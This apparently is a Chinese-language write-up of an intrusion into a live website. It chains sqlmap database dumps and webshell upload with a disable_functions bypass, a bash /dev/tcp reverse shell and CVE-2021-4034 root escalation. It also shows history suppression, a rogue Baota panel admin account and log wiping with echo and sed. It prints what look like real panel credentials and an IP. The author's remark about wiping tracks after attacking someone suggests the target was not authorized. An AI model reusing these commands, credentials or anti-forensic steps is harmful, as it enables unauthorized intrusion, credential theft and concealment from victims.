0x01 SQL注入
通过dirsearch进行目录扫描
发现一个用户后台
发现存在一个管理后台
一堆常规操作,发现在账号处存在SQL注入
SQLMAP一把梭哈
python C:\Tools\sqlmap\sqlmap.py -r C:\Users\admin\xxx.req --force-ssl --risk=3 --level=3 --batch
当前数据库:wx_vdouya_cn
| draw_edit |
| draw_list |
| draw_root |
| draw_set |
| draw_user |
获取draw_root表中的数据
python C:\Tools\sqlmap\sqlmap.py -r C:\Users\admin\xxx.req --force-ssl --risk=3 --level=3 --batch -D wx_vdouya_cn -T draw_root --dump
可破解出md5的密码
可成功登陆后台
在后台这里还有一个接口存在注入
https://IP/adminroot/center.php?username=xxx
后台的功能点少得可怜,再次注入找个用户登录一下
python C:\Tools\sqlmap\sqlmap.py -r C:\Users\admin\xxx.req --force-ssl --risk=3 --level=3 --batch -D wx_vdouya_cn -T draw_user --dump
用户的用户名密码
qixi:qixi
0X02 文件上传
通过上述图片上的任意一个接口均可上传webshell,抓包修改以下两处,即可上传webshell
拼接最后的webshell地址:https://IP/am/upload/2205/62769b6134fa6.php,通过蚁剑进行连接
网站路径:/www/wwwroot/XXXXX
上传路径:/www/wwwroot/XXXXX/am/upload/2205/
查找数据库的连接信息
mysql://XXXXX:XXXX@127.0.0.1:3306/XXXXX
无法执行命令
0x03 绕过disable_functions
通过phpinfo查看禁用的函数
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
过滤得还挺多的,发现有fpm,再看看当前收集到的信息,服务器是Linux的,服务器中的PHP是用FPM/FastCGI的连接模式启动,当前目录可写
这里直接使用蚁剑的bypass_disable_functions的插件
其实该方法的原理大致就是:php 是一门动态语言,但nginx
是无法处理这些的,所以中间还有个fastcgi
协议在牵线搭桥,可类比HTTP
协议,nginx 将接受到的客户端请求转换成 fastcgi 协议格式的数据,而 php 模块中的php-fpm
就是用来处理这些 fastcgi 协议数据的,然后再传给 php 解释器去处理,完成后结果数据又以之前同样的路径返回到浏览器客户端;所以一般在 Linux 服务器上启动 php 程序,都会启动一个叫 php-fpm 的服务,一般会监听本机的9000
端口,或者套接字文件,nginx 的配置文件 fastcgi 访问地址也配成这个端口或文件,这些都是为了完成上述通信过程;程;
根据插件的信息,需要填写FPM/FCGI 地址、启动的WebServer根目录
配置以下信息
直接执行
访问根当前目录下的下的.antproxy.php,密码不变
成功执行命令
直接反弹shell
攻击机:
nc -lvvp 8088
目标机器:
bash -i >& /dev/tcp/IP/8088 0>&1
python -c 'import pty; pty.spawn("/bin/bash")'
history和进程里没东西,那么还是隐藏一下命令痕迹先
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0
查看内核版本
0x04 提权
查看polkit版本
rpm -qa polkit
发现是存在漏洞的版本,那就好办了,直接使用exp进行提权 https://github.com/arthepsy/CVE-2021-4034
wget https://ghproxy.com/https://raw.githubusercontent.com/arthepsy/CVE-2021-4034/main/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
./cve-2021-4034-poc
由于使用了宝塔,拿到root权限之后,先查看一下宝塔的默认密码
bt default
Bt-Panel-URL: http://123.207.246.129:8889/28031524
username: zhouzhengyuan87
password: XHPbayVI04fQ
也可以查看/www/server/panel/data
查询网站的后台路径
发现默认密码已经被修改了
既然你无情就别怪我无意,都拿到了root权限,想登陆宝塔这不轻轻松松。有了后台,剩下的就是寻找密码了,宝塔后台账号密码默认存放在default.db
数据库的users表中,将宝塔的default.db文件复制到可访问的路径
cp /www/server/panel/data/default.db /tmp/xxxx
chmod 7777 /tmp/xxxx
将default.db下载到本地,使用Navicat打开,在user表中找到用户的密码,不过密码是加盐的,md5是解不开了
zhouzhengyuan87
042be06ecc960bacb854661888bc6acd
直接新增一个用户,用SQL语句添加一个
INSERT INTO "main"."users" ("id", "username", "password", "login_ip", "login_time", "phone", "email", "salt") VALUES (1, 'txqosxze', '2796531e254a600c3a91a2d05e886846', '192.168.0.10', '2016-12-10 15:12:56', '0', 'test@message.com', '2YwPJFoXwQSr');
切记,一定要将原先的default.db文件进行备份,在将修改后的default.db文件替换掉
成功使用新的用户名密码进行登录 用户名:txqosxze 密码:123456
记得清理痕迹,由于我登录过宝塔,宝塔记录了我的登录记录,所以将logs目录下的日志都清除
cd /www/server/panel/logs
echo > /www/server/panel/logs/access.log
echo > /www/server/panel/logs/certbot.log
echo > /www/server/panel/logs/error.log
echo > /www/server/panel/logs/ipfilter.log
echo > /www/server/panel/logs/ipfilter.pid
echo > /www/server/panel/logs/letsencrypt.log
echo > /www/server/panel/logs/panel.pid
echo > /www/server/panel/logs/request
echo > /www/server/panel/logs/task.log
echo > /www/server/panel/logs/task.pid
echo > /www/server/panel/logs/terminal.log
还有网站日志,毕竟你搞别人了,屁股要擦干净
tail -n 20 xxxxx.log
sed -i '/IP/d' /www/wwwlogs/xxxxxx.log
sed -i '/IP/d' /www/wwwlogs/xxxxx.log
还有反弹shell,在进程中会存在,通过ps -aux查看进程,将反弹shell的进程、提权的进程都kill掉等等